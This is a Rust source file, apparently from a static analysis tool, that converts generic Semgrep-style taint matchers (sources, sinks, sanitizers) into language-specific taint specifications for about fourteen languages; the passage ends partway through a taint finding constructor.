use crate::rules::apex_taint;
use crate::rules::bash_taint;
use crate::rules::c_taint;
use crate::rules::common::get_source_line;
use crate::rules::csharp_taint;
use crate::rules::go_taint;
use crate::rules::java_taint;
use crate::rules::javascript_taint;
use crate::rules::kotlin_taint;
use crate::rules::php_taint;
use crate::rules::python_taint;
use crate::rules::ruby_taint;
use crate::rules::scala_taint;
use crate::rules::solidity_taint;
use crate::rules::swift_taint;
use crate::rules::{FileContext, Rule};
use crate::{Finding, Language, Severity};
use serde_yaml_ng::Value as YamlValue;
#[derive(Clone, Debug)]
enum GenericMatcher {
Attribute {
root: String,
field: String,
description: String,
},
Call {
canonical: String,
description: String,
},
ParamName {
names: Vec<String>,
description: String,
},
MethodName { method: String, description: String },
CallRegex {
regex: crate::rules::semgrep_compat::CompiledRegex,
description: String,
},
MethodNameRegex {
regex: crate::rules::semgrep_compat::CompiledRegex,
description: String,
},
ReceiverCall {
receiver: String,
description: String,
},
FieldName { field: String, description: String },
Subscript {
base: Option<String>,
description: String,
},
MemberAssign { field: String, description: String },
BinopFormat { description: String },
ObjectLiteralValue { description: String },
ReturnValue { description: String },
}
#[derive(Clone, Debug)]
struct GenericSpec {
sources: Vec<GenericMatcher>,
sinks: Vec<GenericMatcher>,
sanitizers: Vec<GenericMatcher>,
}
fn to_python_spec(g: &GenericSpec) -> python_taint::TaintSpec {
python_taint::TaintSpec {
sources: g.sources.iter().map(to_python_matcher).collect(),
sinks: g.sinks.iter().map(to_python_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_python_matcher).collect(),
}
}
fn to_python_matcher(m: &GenericMatcher) -> python_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => python_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => python_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => python_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => python_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => python_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
python_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => python_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => python_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => python_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
python_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => python_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
python_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => python_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_js_spec(g: &GenericSpec) -> javascript_taint::TaintSpec {
javascript_taint::TaintSpec {
sources: g.sources.iter().map(to_js_matcher).collect(),
sinks: g.sinks.iter().map(to_js_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_js_matcher).collect(),
}
}
fn to_js_matcher(m: &GenericMatcher) -> javascript_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => javascript_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => javascript_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => {
javascript_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
}
}
GenericMatcher::MethodName {
method,
description,
} => javascript_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => {
javascript_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::MethodNameRegex { regex, description } => {
javascript_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => javascript_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => {
javascript_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::Subscript { base, description } => {
javascript_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::MemberAssign { field, description } => {
javascript_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => javascript_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
javascript_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => javascript_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_go_spec(g: &GenericSpec) -> go_taint::TaintSpec {
go_taint::TaintSpec {
sources: g.sources.iter().map(to_go_matcher).collect(),
sinks: g.sinks.iter().map(to_go_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_go_matcher).collect(),
}
}
fn to_go_matcher(m: &GenericMatcher) -> go_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => go_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => go_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => go_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => go_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => go_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
go_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => go_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => go_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => go_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
go_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => go_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
go_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => go_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_java_spec(g: &GenericSpec) -> java_taint::TaintSpec {
java_taint::TaintSpec {
sources: g.sources.iter().map(to_java_matcher).collect(),
sinks: g.sinks.iter().map(to_java_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_java_matcher).collect(),
}
}
fn to_java_matcher(m: &GenericMatcher) -> java_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => java_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => java_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => java_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => java_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => java_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
java_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => java_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => java_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => java_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
java_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => java_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
java_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => java_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_c_spec(g: &GenericSpec) -> c_taint::TaintSpec {
c_taint::TaintSpec {
sources: g.sources.iter().map(to_c_matcher).collect(),
sinks: g.sinks.iter().map(to_c_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_c_matcher).collect(),
}
}
fn to_c_matcher(m: &GenericMatcher) -> c_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => c_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => c_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => c_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => c_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => c_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
c_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => c_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => c_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => c_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => c_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::BinopFormat { description } => c_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
c_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => c_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_kotlin_spec(g: &GenericSpec) -> kotlin_taint::TaintSpec {
kotlin_taint::TaintSpec {
sources: g.sources.iter().map(to_kotlin_matcher).collect(),
sinks: g.sinks.iter().map(to_kotlin_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_kotlin_matcher).collect(),
}
}
fn to_kotlin_matcher(m: &GenericMatcher) -> kotlin_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => kotlin_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => kotlin_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => kotlin_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => kotlin_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => kotlin_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
kotlin_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => kotlin_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => kotlin_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => kotlin_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
kotlin_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => kotlin_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
kotlin_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => kotlin_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_ruby_spec(g: &GenericSpec) -> ruby_taint::TaintSpec {
ruby_taint::TaintSpec {
sources: g.sources.iter().map(to_ruby_matcher).collect(),
sinks: g.sinks.iter().map(to_ruby_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_ruby_matcher).collect(),
}
}
fn to_ruby_matcher(m: &GenericMatcher) -> ruby_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => ruby_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => ruby_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => ruby_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => ruby_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => ruby_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
ruby_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => ruby_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => ruby_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => ruby_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
ruby_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => ruby_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
ruby_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => ruby_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_php_spec(g: &GenericSpec) -> php_taint::TaintSpec {
php_taint::TaintSpec {
sources: g.sources.iter().map(to_php_matcher).collect(),
sinks: g.sinks.iter().map(to_php_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_php_matcher).collect(),
}
}
fn to_csharp_spec(g: &GenericSpec) -> csharp_taint::TaintSpec {
csharp_taint::TaintSpec {
sources: g.sources.iter().map(to_csharp_matcher).collect(),
sinks: g.sinks.iter().map(to_csharp_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_csharp_matcher).collect(),
}
}
fn to_csharp_matcher(m: &GenericMatcher) -> csharp_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => csharp_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => csharp_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => csharp_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => csharp_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => csharp_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
csharp_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => csharp_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => csharp_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => csharp_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
csharp_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => csharp_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
csharp_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => csharp_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_bash_spec(g: &GenericSpec) -> bash_taint::TaintSpec {
bash_taint::TaintSpec {
sources: g.sources.iter().map(to_bash_matcher).collect(),
sinks: g.sinks.iter().map(to_bash_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_bash_matcher).collect(),
}
}
fn to_bash_matcher(m: &GenericMatcher) -> bash_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => bash_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => bash_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => bash_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => bash_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => bash_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
bash_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => bash_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => bash_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => bash_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
bash_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => bash_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
bash_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => bash_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_solidity_spec(g: &GenericSpec) -> solidity_taint::TaintSpec {
solidity_taint::TaintSpec {
sources: g.sources.iter().map(to_solidity_matcher).collect(),
sinks: g.sinks.iter().map(to_solidity_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_solidity_matcher).collect(),
}
}
fn to_solidity_matcher(m: &GenericMatcher) -> solidity_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => solidity_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => solidity_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => {
solidity_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
}
}
GenericMatcher::MethodName {
method,
description,
} => solidity_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => {
solidity_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::MethodNameRegex { regex, description } => {
solidity_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => solidity_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => {
solidity_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::Subscript { base, description } => solidity_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
solidity_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => solidity_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
solidity_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => solidity_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_scala_spec(g: &GenericSpec) -> scala_taint::TaintSpec {
scala_taint::TaintSpec {
sources: g.sources.iter().map(to_scala_matcher).collect(),
sinks: g.sinks.iter().map(to_scala_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_scala_matcher).collect(),
}
}
fn to_scala_matcher(m: &GenericMatcher) -> scala_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => scala_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => scala_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => scala_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => scala_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => scala_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
scala_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => scala_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => scala_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => scala_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
scala_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => scala_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
scala_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => scala_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_apex_spec(g: &GenericSpec) -> apex_taint::TaintSpec {
apex_taint::TaintSpec {
sources: g.sources.iter().map(to_apex_matcher).collect(),
sinks: g.sinks.iter().map(to_apex_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_apex_matcher).collect(),
}
}
fn to_apex_matcher(m: &GenericMatcher) -> apex_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => apex_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => apex_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => apex_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => apex_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => apex_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
apex_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => apex_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => apex_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => apex_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
apex_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => apex_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
apex_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => apex_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_swift_spec(g: &GenericSpec) -> swift_taint::TaintSpec {
swift_taint::TaintSpec {
sources: g.sources.iter().map(to_swift_matcher).collect(),
sinks: g.sinks.iter().map(to_swift_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_swift_matcher).collect(),
}
}
fn to_swift_matcher(m: &GenericMatcher) -> swift_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => swift_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => swift_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => swift_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => swift_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => swift_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
swift_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => swift_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => swift_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => swift_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
swift_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => swift_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
swift_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => swift_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
fn to_php_matcher(m: &GenericMatcher) -> php_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => php_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => php_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => php_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => php_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => php_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
php_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => php_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => php_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => php_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
php_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => php_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
php_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => php_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
}
}
pub struct SemgrepTaintRule {
pub id: String,
pub message: String,
pub severity: Severity,
pub cwe: Option<String>,
pub lang: Language,
spec: GenericSpec,
}
struct TaintFindingView {
sink_start_byte: usize,
sink_line: usize,
sink_column: usize,
sink_end_line: usize,
sink_end_column: usize,
source_description: String,
sink_description: String,
source_line: usize,
hops: u8,
}
impl TaintFindingView {
fn from_python(f: python_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
